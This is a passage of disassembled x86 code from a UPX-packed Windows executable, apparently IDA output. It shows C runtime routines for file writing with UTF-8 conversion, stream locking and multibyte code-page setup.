push ebx
lea eax, [ebp+var_1AB8]
push eax
mov eax, [esi]
push dword ptr [edi+eax]
call dword_41D188 ; WriteFile
test eax, eax
jz loc_4116F1
mov eax, [ebp+var_1AD4]
add [ebp+var_1AC8], eax
cmp eax, ebx
jl loc_4116FD
mov eax, [ebp+var_1ABC]
sub eax, [ebp+var_1ACC]
cmp eax, [ebp+arg_8]
jb loc_4114F7
jmp loc_4116FD
; ---------------------------------------------------------------------------
loc_4115BD: ; CODE XREF: sub_41105A+48Cj
cmp [ebp+arg_8], ecx
jbe loc_411742
loc_4115C6: ; CODE XREF: sub_41105A+65Cj
mov ecx, [ebp+var_1ABC]
and [ebp+var_1AC4], 0
sub ecx, [ebp+var_1ACC]
push 2
lea eax, [ebp+var_6B8]
pop esi
loc_4115E2: ; CODE XREF: sub_41105A+5C7j
cmp ecx, [ebp+arg_8]
jnb short loc_411623
mov edx, [ebp+var_1ABC]
movzx edx, word ptr [edx]
add [ebp+var_1ABC], esi
add ecx, esi
cmp dx, 0Ah
jnz short loc_41160C
push 0Dh
pop ebx
mov [eax], bx
add eax, esi
add [ebp+var_1AC4], esi
loc_41160C: ; CODE XREF: sub_41105A+5A2j
add [ebp+var_1AC4], esi
mov [eax], dx
add eax, esi
cmp [ebp+var_1AC4], 6A8h
jb short loc_4115E2
loc_411623: ; CODE XREF: sub_41105A+58Bj
xor esi, esi
push esi
push esi
push 0D55h
lea ecx, [ebp+var_1410]
push ecx
lea ecx, [ebp+var_6B8]
sub eax, ecx
cdq
sub eax, edx
sar eax, 1
push eax
mov eax, ecx
push eax
push esi
push 0FDE9h
call dword_41D07C ; WideCharToMultiByte
mov ebx, eax
cmp ebx, esi
jz loc_4116F1
loc_41165A: ; CODE XREF: sub_41105A+633j
push 0
lea eax, [ebp+var_1AD4]
push eax
mov eax, ebx
sub eax, esi
push eax
lea eax, [ebp+esi+var_1410]
push eax
mov eax, [ebp+var_1AD8]
mov eax, [eax]
push dword ptr [edi+eax]
call dword_41D188 ; WriteFile
test eax, eax
jz short loc_411691
add esi, [ebp+var_1AD4]
cmp ebx, esi
jg short loc_41165A
jmp short loc_41169D
; ---------------------------------------------------------------------------
loc_411691: ; CODE XREF: sub_41105A+629j
call dword_41D1D8 ; RtlGetLastWin32Error
mov [ebp+var_1AC0], eax
loc_41169D: ; CODE XREF: sub_41105A+635j
cmp ebx, esi
jg short loc_4116FD
mov eax, [ebp+var_1ABC]
sub eax, [ebp+var_1ACC]
mov [ebp+var_1AC8], eax
cmp eax, [ebp+arg_8]
jb loc_4115C6
jmp short loc_4116FD
; ---------------------------------------------------------------------------
loc_4116BE: ; CODE XREF: sub_41105A+39Fj
push 0
lea ecx, [ebp+var_1AD4]
push ecx
push [ebp+arg_8]
push [ebp+var_1ACC]
push dword ptr [eax]
call dword_41D188 ; WriteFile
test eax, eax
jz short loc_4116F1
mov eax, [ebp+var_1AD4]
and [ebp+var_1AC0], 0
mov [ebp+var_1AC8], eax
jmp short loc_4116FD
; ---------------------------------------------------------------------------
loc_4116F1: ; CODE XREF: sub_41105A+268j
; sub_41105A+2C1j ...
call dword_41D1D8 ; RtlGetLastWin32Error
mov [ebp+var_1AC0], eax
loc_4116FD: ; CODE XREF: sub_41105A+1ECj
; sub_41105A+210j ...
cmp [ebp+var_1AC8], 0
jnz short loc_411772
loc_411706: ; CODE XREF: sub_41105A+164j
cmp [ebp+var_1AC0], 0
jz short loc_41173C
push 5
pop esi
cmp [ebp+var_1AC0], esi
jnz short loc_41172E
call sub_40C862
mov dword ptr [eax], 9
call sub_40C875
mov [eax], esi
jmp short loc_41176D
; ---------------------------------------------------------------------------
loc_41172E: ; CODE XREF: sub_41105A+6BEj
push [ebp+var_1AC0]
call sub_40C888
pop ecx
jmp short loc_41176D
; ---------------------------------------------------------------------------
loc_41173C: ; CODE XREF: sub_41105A+6B3j
mov esi, [ebp+var_1AD8]
loc_411742: ; CODE XREF: sub_41105A+3C2j
; sub_41105A+495j ...
mov eax, [esi]
test byte ptr [edi+eax+4], 40h
jz short loc_41175A
mov eax, [ebp+var_1ACC]
cmp byte ptr [eax], 1Ah
jnz short loc_41175A
xor eax, eax
jmp short loc_41177E
; ---------------------------------------------------------------------------
loc_41175A: ; CODE XREF: sub_41105A+6EFj
; sub_41105A+6FAj
call sub_40C862
mov dword ptr [eax], 1Ch
call sub_40C875
and dword ptr [eax], 0
loc_41176D: ; CODE XREF: sub_41105A+CBj
; sub_41105A+6D2j ...
or eax, 0FFFFFFFFh
jmp short loc_41177E
; ---------------------------------------------------------------------------
loc_411772: ; CODE XREF: sub_41105A+6AAj
mov eax, [ebp+var_1AC8]
sub eax, [ebp+var_1AD0]
loc_41177E: ; CODE XREF: sub_41105A+6FEj
; sub_41105A+716j
pop edi
pop ebx
loc_411780: ; CODE XREF: sub_41105A+38j
; sub_41105A+63j
mov ecx, [ebp+var_4]
xor ecx, ebp
pop esi
call sub_40AC1C
leave
retn
sub_41105A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41178D proc near ; CODE XREF: sub_40C635+CFp
; sub_40C635+13Ep ...
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push 10h
push offset dword_426BD0
call __SEH_prolog4
mov eax, [ebp+arg_0]
cmp eax, 0FFFFFFFEh
jnz short loc_4117BC
call sub_40C875
and dword ptr [eax], 0
call sub_40C862
mov dword ptr [eax], 9
loc_4117B4: ; CODE XREF: sub_41178D+5Cj
or eax, 0FFFFFFFFh
jmp loc_411859
; ---------------------------------------------------------------------------
loc_4117BC: ; CODE XREF: sub_41178D+12j
xor edi, edi
cmp eax, edi
jl short loc_4117CA
cmp eax, dword_430148
jb short loc_4117EB
loc_4117CA: ; CODE XREF: sub_41178D+33j
; sub_41178D+7Cj
call sub_40C875
mov [eax], edi
call sub_40C862
mov dword ptr [eax], 9
push edi
push edi
push edi
push edi
push edi
call sub_40B255
add esp, 14h
jmp short loc_4117B4
; ---------------------------------------------------------------------------
loc_4117EB: ; CODE XREF: sub_41178D+3Bj
mov ecx, eax
sar ecx, 5
lea ebx, ds:430160h[ecx*4]
mov esi, eax
and esi, 1Fh
shl esi, 6
mov ecx, [ebx]
movsx ecx, byte ptr [ecx+esi+4]
and ecx, 1
jz short loc_4117CA
push eax
call sub_414846
pop ecx
mov [ebp+ms_exc.disabled], edi
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_411834
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41105A
add esp, 0Ch
mov [ebp+var_1C], eax
jmp short loc_41184A
; ---------------------------------------------------------------------------
loc_411834: ; CODE XREF: sub_41178D+8Fj
call sub_40C862
mov dword ptr [eax], 9
call sub_40C875
mov [eax], edi
or [ebp+var_1C], 0FFFFFFFFh
loc_41184A: ; CODE XREF: sub_41178D+A5j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_41185F
mov eax, [ebp+var_1C]
loc_411859: ; CODE XREF: sub_41178D+2Aj
call __SEH_epilog4
retn
sub_41178D endp
; =============== S U B R O U T I N E =======================================
sub_41185F proc near ; CODE XREF: sub_41178D+C4p
; DATA XREF: UPX0:00426BE8o
push dword ptr [ebp+8]
call sub_4148E6
pop ecx
retn
sub_41185F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411869 proc near ; CODE XREF: sub_40C635+9Fp
; sub_4154F0+A4p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
inc dword_42ECFC
push 1000h
call sub_40EF2A
pop ecx
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
test eax, eax
jz short loc_411896
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_4118A7
; ---------------------------------------------------------------------------
loc_411896: ; CODE XREF: sub_411869+1Ej
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_4118A7: ; CODE XREF: sub_411869+2Bj
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
pop ebp
retn
sub_411869 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4118B2 proc near ; CODE XREF: sub_40C635+94p
; sub_41105A+EAp ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
cmp eax, 0FFFFFFFEh
jnz short loc_4118CE
call sub_40C862
mov dword ptr [eax], 9
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4118CE: ; CODE XREF: sub_4118B2+Bj
push esi
xor esi, esi
cmp eax, esi
jl short loc_4118DD
cmp eax, dword_430148
jb short loc_4118F9
loc_4118DD: ; CODE XREF: sub_4118B2+21j
call sub_40C862
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 9
call sub_40B255
add esp, 14h
xor eax, eax
jmp short loc_411913
; ---------------------------------------------------------------------------
loc_4118F9: ; CODE XREF: sub_4118B2+29j
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_430160[ecx*4]
shl eax, 6
movsx eax, byte ptr [ecx+eax+4]
and eax, 40h
loc_411913: ; CODE XREF: sub_4118B2+45j
pop esi
pop ebp
retn
sub_4118B2 endp
; =============== S U B R O U T I N E =======================================
sub_411916 proc near ; CODE XREF: sub_40C635+79p
; sub_40C635+85p ...
mov eax, offset off_42A450
retn
sub_411916 endp
; =============== S U B R O U T I N E =======================================
sub_41191C proc near ; DATA XREF: UPX0:0041D404o
mov eax, dword_430140
push esi
push 14h
pop esi
test eax, eax
jnz short loc_411930
mov eax, 200h
jmp short loc_411936
; ---------------------------------------------------------------------------
loc_411930: ; CODE XREF: sub_41191C+Bj
cmp eax, esi
jge short loc_41193B
mov eax, esi
loc_411936: ; CODE XREF: sub_41191C+12j
mov dword_430140, eax
loc_41193B: ; CODE XREF: sub_41191C+16j
push 4
push eax
call sub_40EF6F
pop ecx
pop ecx
mov dword_42F138, eax
test eax, eax
jnz short loc_41196C
push 4
push esi
mov dword_430140, esi
call sub_40EF6F
pop ecx
pop ecx
mov dword_42F138, eax
test eax, eax
jnz short loc_41196C
push 1Ah
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_41196C: ; CODE XREF: sub_41191C+30j
; sub_41191C+49j
xor edx, edx
mov ecx, offset off_42A450
jmp short loc_41197A
; ---------------------------------------------------------------------------
loc_411975: ; CODE XREF: sub_41191C+6Dj
mov eax, dword_42F138
loc_41197A: ; CODE XREF: sub_41191C+57j
mov [edx+eax], ecx
add ecx, 20h
add edx, 4
cmp ecx, offset dword_42A6D0
jl short loc_411975
push 0FFFFFFFEh
pop esi
xor edx, edx
mov ecx, offset dword_42A460
push edi
loc_411996: ; CODE XREF: sub_41191C+AAj
mov eax, edx
sar eax, 5
mov eax, dword_430160[eax*4]
mov edi, edx
and edi, 1Fh
shl edi, 6
mov eax, [edi+eax]
cmp eax, 0FFFFFFFFh
jz short loc_4119BA
cmp eax, esi
jz short loc_4119BA
test eax, eax
jnz short loc_4119BC
loc_4119BA: ; CODE XREF: sub_41191C+94j
; sub_41191C+98j
mov [ecx], esi
loc_4119BC: ; CODE XREF: sub_41191C+9Cj
add ecx, 20h
inc edx
cmp ecx, offset dword_42A4C0
jl short loc_411996
pop edi
xor eax, eax
pop esi
retn
sub_41191C endp
; =============== S U B R O U T I N E =======================================
sub_4119CD proc near ; DATA XREF: UPX0:0041D41Co
call sub_414BFB
cmp byte_42E8A4, 0
jz short loc_4119E0
call sub_4149D2
loc_4119E0: ; CODE XREF: sub_4119CD+Cj
push dword_42F138
call sub_40ADC8
pop ecx
retn
sub_4119CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4119ED proc near ; CODE XREF: sub_415D90+50p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
mov eax, offset off_42A450
cmp esi, eax
jb short loc_411A21
cmp esi, offset dword_42A6B0
ja short loc_411A21
mov ecx, esi
sub ecx, eax
sar ecx, 5
add ecx, 10h
push ecx
call sub_40CFA9
or dword ptr [esi+0Ch], 8000h
pop ecx
jmp short loc_411A2B
; ---------------------------------------------------------------------------
loc_411A21: ; CODE XREF: sub_4119ED+10j
; sub_4119ED+18j
add esi, 20h
push esi
call dword_41D1CC ; RtlEnterCriticalSection
loc_411A2B: ; CODE XREF: sub_4119ED+32j
pop esi
pop ebp
retn
sub_4119ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411A2E proc near ; CODE XREF: sub_414B21+46p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
cmp eax, 14h
jge short loc_411A51
add eax, 10h
push eax
call sub_40CFA9
mov eax, [ebp+arg_4]
or dword ptr [eax+0Ch], 8000h
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_411A51: ; CODE XREF: sub_411A2E+Bj
mov eax, [ebp+arg_4]
add eax, 20h
push eax
call dword_41D1CC ; RtlEnterCriticalSection
pop ebp
retn
sub_411A2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411A60 proc near ; CODE XREF: sub_415E04+1p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, offset off_42A450
cmp eax, ecx
jb short loc_411A90
cmp eax, offset dword_42A6B0
ja short loc_411A90
and dword ptr [eax+0Ch], 0FFFF7FFFh
sub eax, ecx
sar eax, 5
add eax, 10h
push eax
call sub_40CECF
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_411A90: ; CODE XREF: sub_411A60+Fj
; sub_411A60+16j
add eax, 20h
push eax
call dword_41D204 ; RtlLeaveCriticalSection
pop ebp
retn
sub_411A60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411A9C proc near ; CODE XREF: sub_414BC3+9p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
cmp ecx, 14h
mov eax, [ebp+arg_4]
jge short loc_411ABF
and dword ptr [eax+0Ch], 0FFFF7FFFh
add ecx, 10h
push ecx
call sub_40CECF
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_411ABF: ; CODE XREF: sub_411A9C+Ej
add eax, 20h
push eax
call dword_41D204 ; RtlLeaveCriticalSection
pop ebp
retn
sub_411A9C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411ACB proc near ; CODE XREF: sub_40C635+Bp
; sub_412505+23p ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
xor esi, esi
cmp eax, esi
jnz short loc_411AF7
call sub_40C862
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
or eax, 0FFFFFFFFh
jmp short loc_411AFA
; ---------------------------------------------------------------------------
loc_411AF7: ; CODE XREF: sub_411ACB+Dj
mov eax, [eax+10h]
loc_411AFA: ; CODE XREF: sub_411ACB+2Aj
pop esi
pop ebp
retn
sub_411ACB endp
; =============== S U B R O U T I N E =======================================
sub_411AFD proc near ; CODE XREF: sub_411E43+14Ep
; sub_411E43+1A3p
sub eax, 3A4h
jz short loc_411B26
sub eax, 4
jz short loc_411B20
sub eax, 0Dh
jz short loc_411B1A
dec eax
jz short loc_411B14
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_411B14: ; CODE XREF: sub_411AFD+12j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_411B1A: ; CODE XREF: sub_411AFD+Fj
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_411B20: ; CODE XREF: sub_411AFD+Aj
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_411B26: ; CODE XREF: sub_411AFD+5j
mov eax, 411h
retn
sub_411AFD endp
; =============== S U B R O U T I N E =======================================
sub_411B2C proc near ; CODE XREF: sub_411E43+2Dp
mov edi, edi
push esi
push edi
mov esi, eax
push 101h
xor edi, edi
lea eax, [esi+1Ch]
push edi
push eax
call sub_40BD40
xor eax, eax
movzx ecx, ax
mov eax, ecx
mov [esi+4], edi
mov [esi+8], edi
mov [esi+0Ch], edi
shl ecx, 10h
or eax, ecx
lea edi, [esi+10h]
stosd
stosd
stosd
mov ecx, offset dword_42A6D0
add esp, 0Ch
lea eax, [esi+1Ch]
sub ecx, esi
mov edi, 101h
loc_411B70: ; CODE XREF: sub_411B2C+4Bj
mov dl, [ecx+eax]
mov [eax], dl
inc eax
dec edi
jnz short loc_411B70
lea eax, [esi+11Dh]
mov esi, 100h
loc_411B84: ; CODE XREF: sub_411B2C+5Fj
mov dl, [eax+ecx]
mov [eax], dl
inc eax
dec esi
jnz short loc_411B84
pop edi
pop esi
retn
sub_411B2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411B90 proc near ; CODE XREF: sub_411E43+171p
var_51C = dword ptr -51Ch
var_518 = byte ptr -518h
var_512 = byte ptr -512h
var_511 = byte ptr -511h
var_504 = word ptr -504h
var_304 = byte ptr -304h
var_204 = byte ptr -204h
var_104 = byte ptr -104h
var_4 = dword ptr -4
mov edi, edi
push ebp
mov ebp, esp
sub esp, 51Ch
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
push ebx
push edi
lea eax, [ebp+var_518]
push eax
push dword ptr [esi+4]
call dword_41D138 ; GetCPInfo
mov edi, 100h
test eax, eax
jz loc_411CBF
xor eax, eax
loc_411BC6: ; CODE XREF: sub_411B90+40j
mov [ebp+eax+var_104], al
inc eax
cmp eax, edi
jb short loc_411BC6
mov al, [ebp+var_512]
mov [ebp+var_104], 20h
test al, al
jz short loc_411C11
lea ebx, [ebp+var_511]
loc_411BE9: ; CODE XREF: sub_411B90+7Fj
movzx ecx, al
movzx eax, byte ptr [ebx]
cmp ecx, eax
ja short loc_411C09
sub eax, ecx
inc eax
push eax
lea edx, [ebp+ecx+var_104]
push 20h
push edx
call sub_40BD40
add esp, 0Ch
loc_411C09: ; CODE XREF: sub_411B90+61j
inc ebx
mov al, [ebx]
inc ebx
test al, al
jnz short loc_411BE9
loc_411C11: ; CODE XREF: sub_411B90+51j
push 0
push dword ptr [esi+0Ch]
lea eax, [ebp+var_504]
push dword ptr [esi+4]
push eax
push edi
lea eax, [ebp+var_104]
push eax
push 1
push 0
call sub_4151A8
xor ebx, ebx
push ebx
push dword ptr [esi+4]
lea eax, [ebp+var_204]
push edi
push eax
push edi
lea eax, [ebp+var_104]
push eax
push edi
push dword ptr [esi+0Ch]
push ebx
call sub_414FA9
add esp, 44h
push ebx
push dword ptr [esi+4]
lea eax, [ebp+var_304]
push edi
push eax
push edi
lea eax, [ebp+var_104]
push eax
push 200h
push dword ptr [esi+0Ch]
push ebx
call sub_414FA9
add esp, 24h
xor eax, eax
loc_411C7B: ; CODE XREF: sub_411B90+12Bj
movzx ecx, [ebp+eax*2+var_504]
test cl, 1
jz short loc_411C96
or byte ptr [esi+eax+1Dh], 10h
mov cl, [ebp+eax+var_204]
jmp short loc_411CA7
; ---------------------------------------------------------------------------
loc_411C96: ; CODE XREF: sub_411B90+F6j
test cl, 2
jz short loc_411CB0
or byte ptr [esi+eax+1Dh], 20h
mov cl, [ebp+eax+var_304]
loc_411CA7: ; CODE XREF: sub_411B90+104j
mov [esi+eax+11Dh], cl
jmp short loc_411CB8
; ---------------------------------------------------------------------------
loc_411CB0: ; CODE XREF: sub_411B90+109j
mov byte ptr [esi+eax+11Dh], 0
loc_411CB8: ; CODE XREF: sub_411B90+11Ej
inc eax
cmp eax, edi
jb short loc_411C7B
jmp short loc_411D15
; ---------------------------------------------------------------------------
loc_411CBF: ; CODE XREF: sub_411B90+2Ej
lea eax, [esi+11Dh]
mov [ebp+var_51C], 0FFFFFF9Fh
xor ecx, ecx
sub [ebp+var_51C], eax
loc_411CD7: ; CODE XREF: sub_411B90+183j
mov edx, [ebp+var_51C]
lea eax, [esi+ecx+11Dh]
add edx, eax
lea ebx, [edx+20h]
cmp ebx, 19h
ja short loc_411CFA
or byte ptr [esi+ecx+1Dh], 10h
mov dl, cl
add dl, 20h
jmp short loc_411D09
; ---------------------------------------------------------------------------
loc_411CFA: ; CODE XREF: sub_411B90+15Cj
cmp edx, 19h
ja short loc_411D0D
or byte ptr [esi+ecx+1Dh], 20h
mov dl, cl
sub dl, 20h
loc_411D09: ; CODE XREF: sub_411B90+168j
mov [eax], dl
jmp short loc_411D10
; ---------------------------------------------------------------------------
loc_411D0D: ; CODE XREF: sub_411B90+16Dj
mov byte ptr [eax], 0
loc_411D10: ; CODE XREF: sub_411B90+17Bj
inc ecx
cmp ecx, edi
jb short loc_411CD7
loc_411D15: ; CODE XREF: sub_411B90+12Dj
mov ecx, [ebp+var_4]
pop edi
xor ecx, ebp
pop ebx
call sub_40AC1C
leave
retn
sub_411B90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411D23 proc near ; CODE XREF: sub_40C799+5Bp
; sub_412028+1Ap
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 0Ch
push offset dword_426BF0
call __SEH_prolog4
call sub_40E38F
mov edi, eax
mov eax, dword_42ABF4
test [edi+70h], eax
jz short loc_411D5D
cmp dword ptr [edi+6Ch], 0
jz short loc_411D5D
mov esi, [edi+68h]
loc_411D49: ; CODE XREF: sub_411D23+96j
test esi, esi
jnz short loc_411D55
push 20h
call sub_40DAD0
pop ecx
loc_411D55: ; CODE XREF: sub_411D23+28j
mov eax, esi
call __SEH_epilog4
retn
; ---------------------------------------------------------------------------
loc_411D5D: ; CODE XREF: sub_411D23+1Bj
; sub_411D23+21j
push 0Dh
call sub_40CFA9
pop ecx
and [ebp+ms_exc.disabled], 0
mov esi, [edi+68h]
mov [ebp+var_1C], esi
cmp esi, dword_42AAF8
jz short loc_411DAD
test esi, esi
jz short loc_411D95
push esi
call dword_41D218 ; InterlockedDecrement
test eax, eax
jnz short loc_411D95
cmp esi, offset dword_42A6D0
jz short loc_411D95
push esi
call sub_40ADC8
pop ecx
loc_411D95: ; CODE XREF: sub_411D23+56j
; sub_411D23+61j ...
mov eax, dword_42AAF8
mov [edi+68h], eax
mov esi, dword_42AAF8
mov [ebp+var_1C], esi
push esi
call dword_41D21C ; InterlockedIncrement
loc_411DAD: ; CODE XREF: sub_411D23+52j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_411DBE
jmp short loc_411D49
sub_411D23 endp
; =============== S U B R O U T I N E =======================================
sub_411DBB proc near ; DATA XREF: UPX0:00426C08o
mov esi, [ebp-1Ch]
sub_411DBB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_411DBE proc near ; CODE XREF: sub_411D23+91p
push 0Dh
call sub_40CECF
pop ecx
retn
sub_411DBE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411DC7 proc near ; CODE XREF: sub_411E43+1Bp
; sub_412028+25p
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = byte ptr -4
mov edi, edi
push ebp
mov ebp, esp
sub esp, 10h
push ebx
xor ebx, ebx
push ebx
lea ecx, [ebp+var_10]
call sub_40C799
mov dword_42ED00, ebx
cmp esi, 0FFFFFFFEh
jnz short loc_411E04
mov dword_42ED00, 1
call dword_41D134 ; GetOEMCP
loc_411DF6: ; CODE XREF: sub_411DC7+52j
; sub_411DC7+69j
cmp [ebp+var_4], bl
jz short loc_411E40
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
jmp short loc_411E40
; ---------------------------------------------------------------------------
loc_411E04: ; CODE XREF: sub_411DC7+1Dj
cmp esi, 0FFFFFFFDh
jnz short loc_411E1B
mov dword_42ED00, 1
call dword_41D0B8 ; GetACP
jmp short loc_411DF6
; ---------------------------------------------------------------------------
loc_411E1B: ; CODE XREF: sub_411DC7+40j
cmp esi, 0FFFFFFFCh
jnz short loc_411E32
mov eax, [ebp+var_10]
mov eax, [eax+4]
mov dword_42ED00, 1
jmp short loc_411DF6
; ---------------------------------------------------------------------------
loc_411E32: ; CODE XREF: sub_411DC7+57j
cmp [ebp+var_4], bl
jz short loc_411E3E
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_411E3E: ; CODE XREF: sub_411DC7+6Ej
mov eax, esi
loc_411E40: ; CODE XREF: sub_411DC7+32j
; sub_411DC7+3Bj
pop ebx
leave
retn
sub_411DC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411E43 proc near ; CODE XREF: sub_412028+5Ep
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
push edi
call sub_411DC7
mov edi, eax
xor esi, esi
mov [ebp+arg_0], edi
cmp edi, esi
jnz short loc_411E7C
loc_411E6E: ; CODE XREF: sub_411E43+1CDj
mov eax, ebx
call sub_411B2C
loc_411E75: ; CODE XREF: sub_411E43+176j
xor eax, eax
jmp loc_412019
; ---------------------------------------------------------------------------
loc_411E7C: ; CODE XREF: sub_411E43+29j
mov [ebp+var_1C], esi
xor eax, eax
loc_411E81: ; CODE XREF: sub_411E43+55j
cmp dword_42AB00[eax], edi
jz loc_411F1E
inc [ebp+var_1C]
add eax, 30h
cmp eax, 0F0h
jb short loc_411E81
cmp edi, 0FDE8h
jz loc_412016
cmp edi, 0FDE9h
jz loc_412016
movzx eax, di
push eax
call dword_41D130 ; IsValidCodePage
test eax, eax
jz loc_412016
lea eax, [ebp+var_18]
push eax
push edi
call dword_41D138 ; GetCPInfo
test eax, eax
jz loc_41200A
push 101h
lea eax, [ebx+1Ch]
push esi
push eax
call sub_40BD40
xor edx, edx
inc edx
add esp, 0Ch
mov [ebx+4], edi
mov [ebx+0Ch], esi
cmp [ebp+var_18], edx
jbe loc_411FF3
cmp [ebp+var_12], 0
jz loc_411FD4
lea esi, [ebp+var_11]
loc_411F08: ; CODE XREF: sub_411E43+18Bj
mov cl, [esi]
test cl, cl
jz loc_411FD4
movzx eax, byte ptr [esi-1]
movzx ecx, cl
jmp loc_411FC4
; ---------------------------------------------------------------------------
loc_411F1E: ; CODE XREF: sub_411E43+44j
push 101h
lea eax, [ebx+1Ch]
push esi
push eax
call sub_40BD40
mov ecx, [ebp+var_1C]
add esp, 0Ch
imul ecx, 30h
mov [ebp+var_20], esi
lea esi, dword_42AB10[ecx]
mov [ebp+var_1C], esi
jmp short loc_411F6E
; ---------------------------------------------------------------------------
loc_411F44: ; CODE XREF: sub_411E43+12Ej
mov al, [esi+1]
test al, al
jz short loc_411F73
movzx edi, byte ptr [esi]
movzx eax, al
jmp short loc_411F65
; ---------------------------------------------------------------------------
loc_411F53: ; CODE XREF: sub_411E43+124j
mov eax, [ebp+var_20]
mov al, byte_42AAFC[eax]
or [ebx+edi+1Dh], al
movzx eax, byte ptr [esi+1]
inc edi
loc_411F65: ; CODE XREF: sub_411E43+10Ej
cmp edi, eax
jbe short loc_411F53
mov edi, [ebp+arg_0]
inc esi
inc esi
loc_411F6E: ; CODE XREF: sub_411E43+FFj
; sub_411E43+140j
cmp byte ptr [esi], 0
jnz short loc_411F44
loc_411F73: ; CODE XREF: sub_411E43+106j
mov esi, [ebp+var_1C]
inc [ebp+var_20]
add esi, 8
cmp [ebp+var_20], 4
mov [ebp+var_1C], esi
jb short loc_411F6E
mov eax, edi
mov [ebx+4], edi
mov dword ptr [ebx+8], 1
call sub_411AFD
push 6
mov [ebx+0Ch], eax
lea eax, [ebx+10h]
lea ecx, dword_42AB04[ecx]
pop edx
loc_411FA5: ; CODE XREF: sub_411E43+16Dj
mov si, [ecx]
inc ecx
mov [eax], si
inc ecx
inc eax
inc eax
dec edx
jnz short loc_411FA5
loc_411FB2: ; CODE XREF: sub_411E43+1C5j
mov esi, ebx
call sub_411B90
jmp loc_411E75
; ---------------------------------------------------------------------------
loc_411FBE: ; CODE XREF: sub_411E43+183j
or byte ptr [ebx+eax+1Dh], 4
inc eax
loc_411FC4: ; CODE XREF: sub_411E43+D6j
cmp eax, ecx
jbe short loc_411FBE
inc esi
inc esi
cmp byte ptr [esi-1], 0
jnz loc_411F08
loc_411FD4: ; CODE XREF: sub_411E43+BCj
; sub_411E43+C9j
lea eax, [ebx+1Eh]
mov ecx, 0FEh
loc_411FDC: ; CODE XREF: sub_411E43+19Ej
or byte ptr [eax], 8
inc eax
dec ecx
jnz short loc_411FDC
mov eax, [ebx+4]
call sub_411AFD
mov [ebx+0Ch], eax
mov [ebx+8], edx
jmp short loc_411FF6
; ---------------------------------------------------------------------------
loc_411FF3: ; CODE XREF: sub_411E43+B2j
mov [ebx+8], esi
loc_411FF6: ; CODE XREF: sub_411E43+1AEj
xor eax, eax
movzx ecx, ax
mov eax, ecx
shl ecx, 10h
or eax, ecx
lea edi, [ebx+10h]
stosd
stosd
stosd
jmp short loc_411FB2
; ---------------------------------------------------------------------------
loc_41200A: ; CODE XREF: sub_411E43+8Ej
cmp dword_42ED00, esi
jnz loc_411E6E
loc_412016: ; CODE XREF: sub_411E43+5Dj
; sub_411E43+69j ...
